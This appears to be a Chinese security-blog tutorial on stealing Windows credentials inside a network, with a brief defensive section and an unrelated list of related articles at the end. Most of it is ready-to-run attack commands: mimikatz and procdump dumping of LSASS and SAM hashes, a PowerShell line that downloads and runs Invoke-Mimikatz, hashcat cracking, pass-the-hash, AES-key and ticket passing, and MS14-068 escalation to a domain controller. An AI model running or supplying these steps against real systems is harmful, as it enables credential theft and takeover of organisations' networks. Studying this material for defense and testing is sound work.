内网安全之:Windows 密码抓取

2023-11-02

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Windows 密码抓取

1 mimikatz 抓取密码

注:在 Windows 系统中抓取 NTLM Hash 值或明文密码,必须将权限提升到 System;lsass.exe 进程用于实现 Windows 的安全策略。

  1. 利用通过 SAM 和 System 文件获得 NTLM Hash

    gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)

    # 无工具导出 SAM 文件
    reg save hklm\sam sam.hive
    reg save hklm\system system.hive
    # 使用 mimikatz 读取 SAM 和 System 文件
    mimikatz# lsadump::sam /sam:sam.hive /system:system.hive
    
    # 使用 Nishang 的 Get-PassHashes 脚本导出 Hash 值
    nishang-0.7.6\Gather> Import-Module .\Get-PassHashes.ps1
    Get-PassHashes
    
  2. 使用 mimikatz 读取本地 SAM 文件

    需要考虑 mimikatz 在目标机器上的免杀特性
    # 提权
    mimikatz# privilege::debug
    # 将权限提升至 System
    mimikatz# token::elevate
    # 读取本地 SAM 文件,获得 NTLM Hash
    mimikatz# lsadump::sam
    # 解密 HASH 值
    mimikatz# sekurlsa::logonpasswords
    

    image-20211110092817718

    image-20211110092902820

  3. 使用 mimikatz 离线读取 lsass.dmp 文件

    # 导出 lsass.dmp 文件
    找到 lsass.exe 进程,右键选择:创建转储文件
    
    # 利用 procdump 导出 lsass.dmp 文件
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
    
  4. 使用 mimikatz 读取 lsass.dmp 文件中的密码 HASH值

    mimikatz# sekurlsa::minidump lsass.dmp
    mimikatz# sekurlsa::logonpasswords full
    
    
  5. 使用 powershell 远程加载 Mimikatz

    # 远程加载 Mimikatz 抓取 Hash 密码
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
    
    # 本地加载 Mimikatz 抓取 Hash 密码
    Import-Module .\Invoke-Mimikatz.ps1
    Invoke-Mimikatz
    

1.1 HashCat 解密 hash 值

hashcat/hashcat: World’s fastest and most advanced password recovery utility (github.com)

使用方法:

# 测试当前主机破解密码的基准速度
hashcat.exe -b

# 指定 hash 的类型
hashcat.exe -m

# 指定破解模式
hashcat.exe -a
  0 | Straight					//字典破解
  1 | Combination				//组合破解
  3 | Brute-force				//掩码暴力破解
  6 | Hybrid Wordlist + Mask
  7 | Hybrid Mask + Wordlist
  9 | Association

# 常用命令
# 使用字典模式进行破解。
hashcat -a 0 -m xx <hashfile> <dict1> <dict2>
-a 0: 以字典模式破解
-m xx:指定 <hashfile> 内的 hash 类型

# 将 1 到 6 指定为数字进行破解
hashcat.exe -m 1000 -a 3 32ed87bdb5fdc5e9cba88547376818d4 ?d?d?d?d?d?d

1.2 防范 Windows 密码抓取

  1. 在WinSer12 中新增了 Protected Users 全局安全组,将需要保护的用户放入该组,便无法使用 Mimikatz 等工具抓取 Hash 值和明文密码。

  2. 安装 KB2871997: Microsoft KB2871997的学习

    :安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。

  3. 修改注册表禁止在内存中存储明文密码

    关闭 Wdigest 功能(WinSer12 及以上版本默认关闭 Wdigest),防止用户密码在内存中以明文形式泄露。Wdigest 功能开启时,攻击者可以使用工具获取明文密码;反之,不能。

    # 开启 Wdigest 功能
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    # 关闭 Wdigest 功能
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
    
    # powershell 开启 Wdigest 功能
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    
    # powershell 关闭 Wdigest 功能
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
    
  4. 将拥有 Debug 权限的本地管理员从 Administrators 组中删除:Mimikatz 在抓取 Hash 值或明文密码时,需要使用 Debug 权限。

    secpol.msc – 安全设置 – 本地策略 – 用户权限分配 – 调试程序(debug programs):可以查看只有 Administrators 组中的用户具有 Debug 权限。

2 传递攻击

2.1 NTLM hash 传递攻击

利用条件:

  1. 被pth攻击的计算机未打补丁(KB2871997)
  2. 拿到一台域成员主机并且拿到管理员组的域用户的NTML
  3. 对方主机存在相同账号并且是管理员组成员
  4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。
  5. :安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。
# 在目标主机中先获取 NTLM hash 值
mimikatz.exe "privilege::debug" "sekurlsa::msv"
# 提升权限
privilege::debug
# 获取 hash
sekurlsa::msv

# 在远程主机上进行 Hash 传递攻击
mimikatz.exe "privilege::debug" sekurlsa::pth /domian:要攻击的ip /user:目标主机上的用户名 /ntlm: NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 在弹出 cmd 窗口上,验证是否获取域控最高权限
# 查看域控制器的 C 盘,dc 为域控制器的主机名。
dir \\10.1.1.21\c$
dir \\dc\c$

2.2 AES-256 密钥传递攻击

利用条件:

  1. 目标主机上只有安装 KB2871997 ,才可以通过导入 AES-256 密钥的方式进行传递攻击。否则导入 AES-256 密钥后,会依然无法访问目标主机。
# 在目标主机中先获取 AES-256 值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
# 获取 AES-256
sekurlsa::ekeys

# 在远程主机上进行 AES-256 密钥传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /aes256:5e5bd89efaefe26121d8c815391d9681e41cc0c1e1d009eeddb82273e6eca152"

# dir \\dc\c$

image-20211110091526179

2.3 Ticket 传递攻击

2.3.1 利用 mimikatz 进行 Ticket 传递攻击

# 在目标主机上导出票据
# 导出内存中的 Tickets
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
# 清除内存中的 Tickets
mimikatz# kerberos::purge

# 在远程主机上将票据文件注入到内存中
.\mimikatz.exe "kerberos::ptt .\`[0;3ae4f`]-2-0-40e10000-Administrator@krbtgt-TEST.LAB.kirbi"

image-20211110093506835

image-20211110094507004

2.3.2 利用 kekeo 进行 Ticket 传递攻击

gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C (github.com)

kekeo使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。

# 生成票据
.\kekeo.exe "tgt::ask /domain:test.lab /user:Administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 清除当前内存中的其他票据,否则可能会导致票据传递失败
#在 kekeo 中
kekeo # kerberos::purge
# 利用系统自带命令
klist.exe purge

# 导入票据
.\kekeo.exe "kerberos::ptt TGT_Administrator@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi"

image-20211110100506395

2.3.3 ms14-068.exe kerberos

MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园 (cnblogs.com)

利用条件:

  1. 域控没有打MS14-068的补丁(KB3011780)
  2. 拿下一台加入域的计算机,并拥有此计算机的域用户密码和Sid
# 获取 SID
# 如果当前用户为域用户
whoami /user
test\test02 S-1-5-21-3884001349-2725517725-626265054-1108
# 本地用户:管理员权限下用 mimikatz 抓取本地的域用户密码,域用户与SID
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

# 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u test02@test.lab -p Admin123 -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21

# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz.exe "kerberos::ptc TGT_test02@test.lab.ccache"

# 写入成功后,使用PsExec.exe以管理员权限运行连接域控
PsExec64.exe \\dc cmd.exe

2.3.4 Ticket 传递攻击特点

  1. Ticket 文件注入内存的默认有效时间为 10 小时
  2. 使用 dir 命令时,务必使用主机名,如果使用 IP 会报错
  3. 目标主机上,不需要管理员权限也可进行 Ticket 传递攻击
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

内网安全之:Windows 密码抓取 的相关文章

  • Windows 上的 Openssl 错误 0x02001005 和 0x2006D002?

    我正在尝试使用 openssl 将 cer 证书转换为 p12 证书 这是我正在使用的命令 C OpenSSL Win32 bin gt openssl x509 inform der in developer identity cer o
  • 移动/调整窗口大小时闪烁

    我开发了一个显示 jpeg 图像的应用程序 它可以显示 4 个图像 屏幕的每个象限各一个 为此 它使用了 4 个窗口 窗口没有边框 框架 也没有标题栏 当加载新图像时 窗口大小会根据新图像进行调整 然后显示该图像 尤其是当窗户做得较大时 经
  • Qt(在 Windows 上)将权限级别设置为“requireAdministrator”

    我正在使用 Qt Creator 并努力制作 exe文件默认以管理员身份运行 在线阅读所有解决方案我试图将这一行放入我的 pro file QMAKE LFLAGS MANIFESTUAC level requireAdministrato
  • 访问图像的 Windows“标签”元数据字段

    我正在尝试进行一些图像处理 所以现在我正在尝试读取图像 exif 数据 有 2 个内置函数可用于读取图像的 exif 数据 问题是我想读取图像标签 exifread and imfinfo这两个函数都不显示图像标签 Is there any
  • Vim 在 Mingw 上表现异常

    我在 MinGW 4 6 2 上的 Vim 表现得很奇怪 例如 在插入模式下按 Backspace 会删除字符 但我必须用箭头键移动光标才能删除的字符消失 而且它也会使我退出插入模式 另一个例子 按 Del 删除字符有时会生成奇怪的字符 例
  • 如何使用来自 Microsoft-Windows-NDIS-PacketCapture 提供程序的实时 ETW 事件?

    更大的问题是一般如何使用实时 ETW 网络堆栈事件 但我特别感兴趣Microsoft Windows NDIS PacketCapture 提供程序 所有其他网络堆栈提供程序都部分工作 但 NDIS PacketCapture NDIS P
  • 在 Windows 上不使用 OpenSSL 从 pfx 文件或证书存储中提取私钥

    正如标题所示 我想在不使用 OpenSSL 或任何其他第三方工具的情况下导出我的私钥 如果我需要一个 cer文件或 pfx我可以通过 MMC 或 PowerShell 轻松导出这些文件pkiclient但我找不到获取私钥的方法 https
  • 相当于Linux中的导入库

    在 Windows C 中 当您想要链接 DLL 时 您必须提供导入库 但是在 GNU 构建系统中 当您想要链接 so 文件 相当于 dll 时 您就不需要链接 为什么是这样 是否有等效的 Windows 导入库 注意 我不会谈论在 Win
  • 如何在批处理文件中回显换行符?

    如何从批处理文件输出中插入换行符 我想做类似的事情 echo hello nworld 这会输出 hello world Use echo hello echo echo world
  • 调用 printf 系统子例程在汇编代码中输出整数错误[重复]

    这个问题在这里已经有答案了 来回 在windows7控制台窗口中运行gcc s2 asm 然后生成一个exe文件 运行a exe 然后崩溃 为什么 s2 asm 代码由以下源代码生成 int m m 1 iprint m s2 asm请参考
  • 如何查看网络连接状态是否发生变化?

    我正在编写一个应用程序 用于检查计算机是否连接到某个特定网络 并为我们的用户带来一些魔力 该应用程序将在后台运行并执行检查是否用户请求 托盘中的菜单 我还希望应用程序能够自动检查用户是否从有线更改为无线 或者断开连接并连接到新网络 并执行魔
  • 常见的 Windows 编译器上有哪些 std::locale 名称可用?

    该标准对于什么构成有效的语言环境名称几乎没有提及 只有传递无效的区域设置名称才会导致std runtime error 哪些语言环境名称可用于常见的 Windows 编译器 例如 MSVC MinGW 和 ICC 好吧 C 和 C 语言环境
  • Windows 操作系统中 ST_INO(os.stat() 输出)的含义

    谁能告诉我这个值的含义是什么st ino是跑步时os stat 在 Windows 上 Python 3 5 3 在早期的 Python 版本中 它包含虚拟值 但最近发生了变化 我找不到它是如何计算 生成的 我怀疑它因文件系统 NTFS F
  • 将所有文件与指定目录(和子目录)中的所有文件进行二进制比较

    我需要将目录及其子目录中包含的所有文件与同一目录及其子目录中包含的所有其他文件进行比较 并将匹配文件的路径记录到文本文件或 CSV 我意识到有一些软件工具可以做到这一点 但除非它可以在 Windows 中开箱即用 否则我将不被允许在我的网络
  • Windows 10 上的 LibPNG 构建问题

    我试图在 Windows 10 上构建 libpng 以获取 win32 二进制文件 但我认为有一个与 awk 解析带有 CRLF 行结尾的文件相关的问题 我尝试使用 dos2unix 命令转换文件 但没有成功 结果相同 在 make 命令
  • 将 OpenBLAS 链接到 MinGW

    我正在尝试链接OpenBLAS https www openblas net 图书馆与明GW w64 https mingw w64 org Windows 上的编译器 这是我的代码 include
  • 如何使用正则表达式验证带有可选百分比符号的小数?

    正如问题的标题 我需要使用以下值验证正则表达式 最多 2 个小数位和 9 个整数 带有可选的百分比符号 Valid 10 0 1111111 12 15 2 10 2 3 Invalid 12 02 123456789123 123 I t
  • Windows 上最快的屏幕捕获方法

    我想为Windows平台编写一个截屏程序 但不确定如何捕获屏幕 我知道的唯一方法是使用 GDI 但我很好奇是否还有其他方法可以实现此目的 如果有的话 哪种方法产生的开销最小 速度是首要任务 截屏程序将用于录制游戏镜头 不过 如果这确实缩小了
  • 从 Powershell 脚本安装 Python

    当以管理员身份从 PowerShell 命令行运行以下命令时 可以在 Windows 11 上成功安装 Python c temp python 3 11 4 amd64 exe quiet InstallAllUsers 0 Instal
  • 如果我使用客户端计算机上未安装的字体,会发生什么情况?

    有人可以告诉我 如果我在 WinForms 应用程序中使用目标计算机上不可用的字体 会发生什么情况 它是否使用同一系列的字体 只是 Sans Serif 还是其他字体 您的应用程序将回退到 Segoe UI Tahoma 然后是 MS Sa

随机推荐

  • Hadoop总结之HDFS-Client端向HDFS中读写数据的流程

    一 Client向HDFS中存入数据 1 客户端通过Distributed FileSystem模块向NameNode请求上传文件 NameNode检查目标文件是否已存在 父目录是否存在 2 NameNode返回是否可以上传 不能上传会返回
  • 用Java编写,要求输出1~100内的素数。

    public class SuShu public static void main String args for int i 2 i lt 100 i boolean isSuShu true for int j 2 j
  • 接口(interface)和抽象类(abstract)的特点和区别

    接口 interface 和抽象类 abstract 的共同点和区别 进入这个话题之前我们先思考一下以下几个问题 1 我们为什要使用抽象类和接口 2 使用抽象类和接口有什么好处 3 我们在设计复杂程序时该怎么合理使用抽象类和接口 抽象类的特
  • huggingface tokenizers

    专注 NLP 的初创团队抱抱脸 hugging face 发布帮助自然语言处理过程中 更快的词语切分 tokenization 工具 Tokenizers 只要 20 秒就能编码 1GB 文本 功能多样 适用于 BPE byte level
  • Bootstrap typeahead使用问题记录及解决方案

    简单介绍 Bootstrap typeahead插件是用来完成输入框的自动完成 模糊搜索和建议提示的功能 支持ajax数据加载 类似于jquery的流行插件Autocomplete typeahead的使用方式有两种 通过数据属性字段的方式
  • 计算机网络 将TCP封装成CTCP类

    首先我们在之前TCP的基础上 进行了优化 解决了粘包问题 这里的解决方式是 在包头给出包的大小 接收端接收到包时 先解析出包的大小 再根据大小分配空间 解决粘包代码 SOCKET sockWaiter my map GetCurrentTh
  • 学生信息管理系统(C语言版+详解+源代码)

    我二二学生信息管理系统 C语言版 详解 源代码 相信受这篇的都是为了期末项目而发愁吧 那么这篇文章最适合你了 我送给大家保姆级的教程 一 相信有部分同学不知道用什么软件运行吧 知道的可以直接看二哦 我用的软件是Devc 给大家发个链接 期末
  • 微信小程序换行 br 无效解决方法

    在微信小程序中 不识别 br 等标签 如果文字中想要折行显示 可以使用 n替代 br 注意 使用 n的时候 一定是在
  • 报错解决:APIConnectionError 调用异常处理 (openAI api)

    1 报错 raise error APIConnectionError openai error APIConnectionError Error communicating with OpenAI HTTPSConnectionPool
  • 26岁曾月薪15K,现已失业3个月,我依然没有拿到offer......

    我做测试5年 一线城市薪水拿到15K 中间还修了一个专升本 这个年限不说资深肯定也是配得上经验丰富的 今年行情不好人尽皆知 但我还是对我的薪水不是很满意 于是打算出去面试 希望可以搏一个高薪 但真到面试环节几个问题就把我问懵了 有没有做过接
  • CH6- JS UI前端开发

    文章目录 前言 目标 1 JS前端开发基础 JS FA的使用 AceAbility 如何加载JS FA JS FA开发目录 2 个典型JS FA应用开发 构建页面结构 构建页面样式 构建页面逻辑 适配设备类型 3 构建用户界面 组件通用特性
  • 普利姆算法(Prim)

    普利姆算法和克鲁斯卡尔算法都是求连接图中所有结点的最短路径 也就是最小生成树 普利姆算法其实就是不断获取已经访问结点和未访问结点之间的最短边来获取所有结点间的最短路径 也可以认为是广度 贪婪 接下来看算法的实现 这里只给出关键代码 基本的图
  • 定时器开始时延时了十几秒_第六章--系统滴答定时器

    第六章 系统滴答定时器 简介 系统滴答定时器是内核 这里指M4 定时器使用的是内核时钟源168MZ或可以选择外部时钟源21MZ 应用场合 为UCOS系统提供时钟节拍 作为简单的定时器延时使用 最大延时798ms 作为定时器中断使用 1 sT
  • jquery extend函数

    JS组件系列 封装自己的JS组件 你也可以 前言 之前分享了那么多bootstrap组件的使用经验 这篇博主打算研究下JS组件的扩展和封装 我们来感受下JQuery为我们提供 Extend的神奇 看看我们怎么自定义自己的组件 比如我们想扩展
  • Git回滚详解

    文章目录 git restore 撤销工作区文件更改 撤销暂存区文件更改 git checkout git revert 冲突解决 具体操作 git reset reset 的作用 第 1 步 移动 HEAD soft 第 2 步 更新暂存
  • vue+element实现删除功能

    vue element实现删除功能 文章目录 vue element实现删除功能 一 api文件夹中编写api接口 二 编写删除按钮 三 使用api文件夹中的接口 总结 一 api文件夹中编写api接口 代码如下 export functi
  • win10更新出错0x80070422的解决方案

    问题 一般我们进行win10系统的更新 步骤是到win10设置 然后找到windows 更新 然后点击开启更新 有的时候 你会发现不能更新一直报错0x80070422 如下图 图一 图二 问题的原因 这是因为windows update 启
  • horizon服务主要模块_Openstack入门篇(十四)之horizon服务的部署与测试

    提供一个web界面操作openstack的系统 使用Django框架基于openstack API开发 支持将session存储在DB memcached 支持集群 tips 创建虚拟机的方法 horizon api 命令行 服务未启动 不
  • js将变量值作为对象的key使用

    var a aaa var obj a valueA bbb valueB console log obj aaa valueA console log obj a valueA console log obj bbb valueB con
  • 内网安全之:Windows 密码抓取

    郑重声明 本笔记编写目的只用于安全知识提升 并与更多人共享安全知识 切勿使用笔记中的技术进行违法活动 利用笔记中的技术造成的后果与作者本人无关 倡导维护网络安全人人有责 共同维护网络文明和谐 Windows 密码抓取 1 mimikatz